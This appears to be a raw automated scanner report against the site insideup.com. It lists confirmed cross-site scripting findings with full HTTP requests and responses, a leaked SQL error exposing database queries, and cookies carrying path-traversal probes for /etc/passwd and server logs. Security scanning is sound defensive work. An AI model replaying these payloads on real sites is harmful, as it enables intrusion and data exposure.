select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = ''"--></style></script><script>netsparker(0x000542)</script>' OR prj.project_page_url = ''"--></style></script><script>netsparker(0x000542)</script>/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = ''"--></style></script><script>netsparker(0x000542)</script>' OR prj.project_page_url = ''"--></style></script><script>netsparker(0x000542)</script>/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = ''"--></style></script><script>netsparker(0x000542)</script>' OR prj.project_page_url = ''"--></style></script><script>netsparker(0x000542)</script>/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = ''"--></style></script><script>netsparker(0x000542)</script>' OR prj.project_page_url = ''"--></style></script><script>netsparker(0x000542)</script>/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = ''"--></style></script><script>netsparker(0x000542)</script>' OR prj.project_page_url = ''"--></style></script><script>netsparker(0x000542)</script>/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '></style></script><script>netsparker(0x000542)</script>/' union select prj.catI' at line 5

- /ppc/leadflow/wede00/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00050F)%3C/script%3E

/ppc/leadflow/wede00/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00050F)%3C/script%3E CONFIRMED

http://www.insideup.com/ppc/leadflow/wede00/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00..

Parameters

Parameter	Type	Value
URI-BASED	Raw URI	'"--></style></script><script>alert(0x00050F)</script>

Request

GET /ppc/leadflow/wede00/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00050F)%3C/script%3E HTTP/1.1
Referer: http://www.insideup.com/ppc/leadflow/wede00/project.php?catId=20001&iusrc=iupsc
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:22:22 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=bbbvqbpg7vhm99en4nklktb935; path=/
Content-Length: 2953
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/'"--></style></script><script>netsparker(0x00050F)</script>' OR prj.project_page_url = 'leadflow/wede00/'"--></style></script><script>netsparker(0x00050F)</script>/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/'"--></style></script><script>netsparker(0x00050F)</script>' OR prj.project_page_url = 'leadflow/wede00/'"--></style></script><script>netsparker(0x00050F)</script>/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/'"--></style></script><script>netsparker(0x00050F)</script>' OR prj.project_page_url = 'leadflow/wede00/'"--></style></script><script>netsparker(0x00050F)</script>/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/'"--></style></script><script>netsparker(0x00050F)</script>' OR prj.project_page_url = 'leadflow/wede00/'"--></style></script><script>netsparker(0x00050F)</script>/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/'"--></style></script><script>netsparker(0x00050F)</script>' OR prj.project_page_url = 'leadflow/wede00/'"--></style></script><script>netsparker(0x00050F)</script>/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '></style></script><script>netsparker(0x00050F)</script>/' union select prj.catI' at line 5

- /whitePapaper.html

/whitePapaper.html CONFIRMED

http://www.insideup.com/whitePapaper.html

Parameters

Parameter	Type	Value
company	POST	3
companyServices	POST	3
email	POST	netsparker@example.com
firstName	POST	Smith
iusrc	POST	3
lastName	POST	Smith
parentPage	POST	3
phone	POST	3
src	POST	aboutUs
Submit	POST	3
url	POST	'"--></style></script><script>alert(0x000509)</script>

Request

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:22:20 GMT
Server: Apache/2.2.9 (Fedora)
Set-Cookie: JSESSIONID=D0030714F0C8C0E9F8ADA5D143BA6D35; Path=/
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache,no-store
Content-Language: en-US
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=ISO-8859-1

<!DOCTYPE html><html><head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <meta name="keywords" content=""/> <meta name="description" content=""/> <meta name="robots" content="index; follow"/> <title></title> <link href="/css/reset.css" rel="stylesheet" type="text/css"><link href="/css/grid.css" rel="stylesheet" type="text/css"><link href="/css/newstyle.css" rel="stylesheet" type="text/css"><script type="text/javascript" src="/js/jquery-1.2.1.js"></script><script type="text/javascript" src="/js/ajax.js"></script><script type="text/javascript" src="/js/ajax-dynamic-list.js"></script><script type="text/javascript" src="/js/default.js"></script><script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-5083151-1"); pageTracker._setDomainName(".insideup.com"); pageTracker._trackPageview(); } catch(err) {}</script></head><body><div class="container"> <div class="wrapper"> <div class="header"> <script language="javascript">function clearInput(e){if(e.value=='username'||e.value=='password'){e.value="";} }</script> <style>.c_767676, a.c_767676:link, a.c_767676:visited { color:#767676; text-decoration:none; font:bold 14px Arial;}a.c_767676:hover { color:#767676; text-decoration:underline; font:bold 14px Arial;}</style> <div class="h-container"> <div> <div class="float-left logo"><a href="/index.html"><img src="/images/logo.png" alt="InsideUp Logo" width="157" height="78"></a></div> <div style="float:left;padding:10px 0 0 10px;"> <div style="float:left;padding:7px 0px 0 0;font-size:11px;color:#777777;font-weight:bold;">Your City:</div> <div style="float:left;padding:0px 0 0 7px; width:123px;color:#2B70CD;font-weight:bold;font-size:9px;"> <div style="float:left;width:135px; padding:2px 10px 0 0;"> <select style="width:128px;color:#2B70CD;font-weight:bold;font-size:9px;" id="cityselectbox" name="cityselectbox" onchange="updateUserSessionCity();"> <option value="Albuquerque" >Albuquerque</option> <option value="Atlanta" >Atlanta</option> <option value="Austin" >Austin</option> <option value="Baltimore" >Baltimore</option> <option value="Boston" >Boston</option> <option value="Charlotte" >Charlotte</option> <option value="Chicago" >Chicago</option> <option value="Cincinnati" >Cincinnati</option> <option value="Cleveland" >Cleveland</option> <option value="Columbus" >Columbus</option> <option value="Dallas" selected=selected >Dallas</option> <option value="Denver" >Denver</option> <option value="Detroit" >Detroit</option> <option value="El Paso" >El Paso</option> <option value="Fort Worth" >Fort Worth</option> <option value="Fresno" >Fresno</option> <option value="Honolulu" >Honolulu</option> <option value="Houston" >Houston</option> <option value="Indianapolis" >Indianapolis</option> <option value="Jacksonville" >Jacksonville</option> <option value="Kansas City" >Kansas City</option> <option value="Las Vegas" >Las Vegas</option> <option value="Los Angeles" >Los Angeles</option> <option value="Memphis" >Memphis</option> <option value="Mesa" >Mesa</option> <option value="Miami" >Miami</option> <option value="Milwaukee" >Milwaukee</option> <option value="Minneapolis-St. Paul" >Minneapolis-St. Paul</option> <option value="Nashville" >Nashville</option> <option value="New Orleans" >New Orleans</option> <option value="New York" >New York</option> <option value="Newark" >Newark</option> <option value="Oakland" >Oakland</option> <option value="Orlando" >Orlando</option> <option value="Philadelphia" >Philadelphia</option> <option value="Phoenix" >Phoenix</option> <option value="Pittsburgh" >Pittsburgh</option> <option value="Portland" >Portland</option> <option value="Raleigh" >Raleigh</option> <option value="San Diego" >San Diego</option> <option value="Sacramento" >Sacramento</option> <option value="San Antonio" >San Antonio</option> <option value="San Francisco" >San Francisco</option> <option value="San Jose" >San Jose</option> <option value="Seattle" >Seattle</option> <option value="St. Louis" >St. Louis</option> <option value="Tampa" >Tampa</option> <option value="Tucson" >Tucson</option> <option value="Tulsa" >Tulsa</option> <option value="Washington D.C." >Washington D.C.</option> </select> </div> </div> </div> <div> <div id="loginAndMemberContainer"> <form id="loginForm" method="post"> <input type="hidden" name="refererUrl" value=""> <div style="width:320px;height:55px;float:left;padding:10px 0 0 5px;"> <div> <div style="float:left;padding:0px 0 0 10px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="username" type="text" value="username" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="1"/> </div> <div style="float:left;padding:0px 0 0 8px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="password" type="password" value="password" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="2" /> </div> <div style="float:left;padding:0px 0 0 8px;"> <a href="javascript:void(0);" onclick="javascript:submitLogin();checkScreenWidth();" onkeypress="checkEnterKey(event)"><img src="/images/loginBtn.gif" border="0" onkeypress="checkEnterKey(event)" tabindex="4" alt="Login"/></a> </div> </div> <div style="float:left; padding:2px 0 0 0;"> <input type="hidden" name="_rememberme"> <div style="float:left;padding:0px 0 0 10px;"><input tabindex="3" type="checkbox" name="rememberme" value="true" /></div> <div style="float:left;padding:3px 0 0 2px;color:#777777;font-size:10px;font-weight:bold;">Remember Me</div> <div style="float:left;padding:3px 0 0 20px;color:#777777;font-size:10px; font-weight:bold;"> <a href="#" class="greyBs" onClick="showForgotPassword();">Password Reminder</a> </div> <div style="padding: 3px 0pt 0pt 10px; float: left;"><a href="/communitysignup.html" style="color:#777777; font-size: 10px; font-weight: bold;" class="greyBs">Register Now</a></div> </div> </div> </form> </div> <div style="float:left;padding:17px 0 0 0; width:110px;color:black;font-size:11px" id="blkShare"> <script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#tabs=web%2Cpost%2Cemail&charset=utf-8&style=default&publisher=c17cda91-72c8-497c-bea7-a4d4698b5bb5&offsetLeft=-349"></script> </div> <img style="display:none;" src="/images/spacer.gif" onload="trackingPageContent('White Paper Form',0,'')" alt="" /> </div> </div> <div class="clear"></div> <div class="punchLine">Where Business Services Buyers & Sellers Connect</div> <div class="float-left" style="width:550px;"> <ul id="headerNav" class="headerNav headerAdvertiseActive"> <li class="headerHome"><a href="/index.html" onMouseOver="toggleHeader(0, 'headerHomeActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Home</a></li> <li class="headerAdvertise"><a href="/advertise.html" onMouseOver="toggleHeader(0, 'headerAdvertiseActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Advertise</a></li> <li class="headerPartner"><a href="/partner.html" onMouseOver="toggleHeader(0, 'headerPartnerActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Partner</a></li> <li class="headerAboutus"><a href="/aboutUs.html" onMouseOver="toggleHeader(0, 'headerAboutusActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">About Us</a></li> <li class="headerResources"><a href="/communitymainpage.html" onMouseOver="toggleHeader(0, 'headerResourcesActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Resources</a></li> <li class="headerContactus"><a href="/contactUs.html" onMouseOver="toggleHeader(0, 'headerContactusActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Contact us</a></li> </ul> </div> <div class="clear"></div> </div> <div style="clear:both;"></div> <div id="forgotPasswordPopUpLayerBody" style="*left:15%;*top:18%;"></div> </div> <div class="clear"></div> <div class="grid_5 aboutUs" style="margin-left:13px;margin-top:20px;"><a class="secondaryAction" style="margin-left:0;text-decoration: none;"><strong>About InsideUp</strong></a> | <a href="management.html" class="secondaryAction">Management</a> | <a href="pressRelease.html" class="secondaryAction">News Releases</a> | <a href="careers.html" class="secondaryAction">Careers</a> | <a href="contactUs.html" class="secondaryAction">Contact Us</a></div>
<div class="grid_5 aboutUs" style="margin-left:13px;margin-top:25px;"><span>Use InsideUp to Acquire New Business Service Customers</span></div>
<div class="clear"></div>
<div class="grid_1 aboutUs" style="margin-left:13px;margin-top:25px;">
<p>Founded by performance-based marketing, online advertising and lead generation experts, InsideUp operates an online lead generation platform that's dedicated solely to serving the needs of business service providers and their potential customers. InsideUp's online media network, dynamic business-matching lead generation system and leading-edge marketing practices provide business service firms with ready-to-buy qualified and verified sales leads, all delivered in real time.</p>
<p>InsideUp's platform also helps companies who are seeking business services to locate the right service provider for their specific needs. Companies seeking business services use InsideUp's online platform to access helpful vendor selection tools and content plus pricing and feature comparisons from several service vendors. Companies receive competitive bids from only pre-screened, high-quality vendors who meet their specific business needs.</p>
<p>This is all made possible by InsideUp's unique, proprietary platform, which combines next generation business-matching and prospect-profiling technologies with powerful search engine, social media and lead generation technologies.</p>
<p style="margin-bottom:15px;">Clearly most business service providers need a cost-effective and qualified pipeline of fresh sales prospects who are actively interested in what they sell. These providers are keenly interested in all sales prospects who can be converted into long-term, satisfied customers. InsideUp puts these business service providers into direct contact with prospects who are actively in the marketplace to purchase the type of services they provide.</p>
<img src="/images/party-links.jpg" alt="Links" border="0" usemap="#Map">
<map name="Map">
<area shape="rect" coords="2,1,184,64" href="https://twitter.com/VendorSourcing" target="_blank">
<area shape="rect" coords="198,1,379,63" href="http://www.youtube.com/insideupvendors" target="_blank">
<area shape="rect" coords="390,1,575,60" href="http://insideup.com/blogs/b2bsourcing" target="_blank">
</map> </div>
<div class="grid_4">
<div class="aboutUsForm" >
<form method="post" action="/whitePapaper.html"> <input type="hidden" name="src" value="aboutUs"> <input type="hidden" name="iusrc" value="3"> <input type="hidden" name="parentPage" value="3"> <table width="284" border="0" cellpadding="0" cellspacing="0" style="background-color:#ededed;"> <tr> <td colspan="2" class="head"> To get more information and receive a free copy of white paper "What Every Business Service Marketer Should Know about Online Lead Generation," simply complete the form below: </td> </tr> <tr> <td style="width:100px;">First Name</td> <td style="text-align:left;"> <input name="firstName" type="text" value="Smith"/> </td> </tr> <tr> <td>Last Name</td> <td> <input name="lastName" type="text" value="Smith"/> </td> </tr> <tr> <td>Company</td> <td> <input name="company" type="text" value="3"/> </td> </tr> <tr> <td>Phone Number</td> <td> <input name="phone" type="text" value="3"/> </td> </tr> <tr> <td>Email Address</td> <td> <input name="email" type="text" value="netsparker@example.com"/> </td> </tr> <tr> <td>Website</td> <td> <input name="url" type="text" value="'"--></style></script><script>netsparker(0x000509)</script>"/> </td> </tr> <tr> <td>Your Company's <br> Services?</td> <td> <input name="companyServices" type="text" value="3"/> </td> </tr> <tr> <td>..

- /ppc/leadflow/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000519)%3C/script%3E

/ppc/leadflow/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000519)%3C/script%3E CONFIRMED

http://www.insideup.com/ppc/leadflow/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000519)%3..

Parameters

Parameter	Type	Value
URI-BASED	Raw URI	'"--></style></script><script>alert(0x000519)</script>

Request

GET /ppc/leadflow/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000519)%3C/script%3E HTTP/1.1
Referer: http://www.insideup.com/ppc/leadflow/wede00/project.php?catId=20001&iusrc=iupsc
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[../../../../../../../../../../proc/self/fd/2\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; 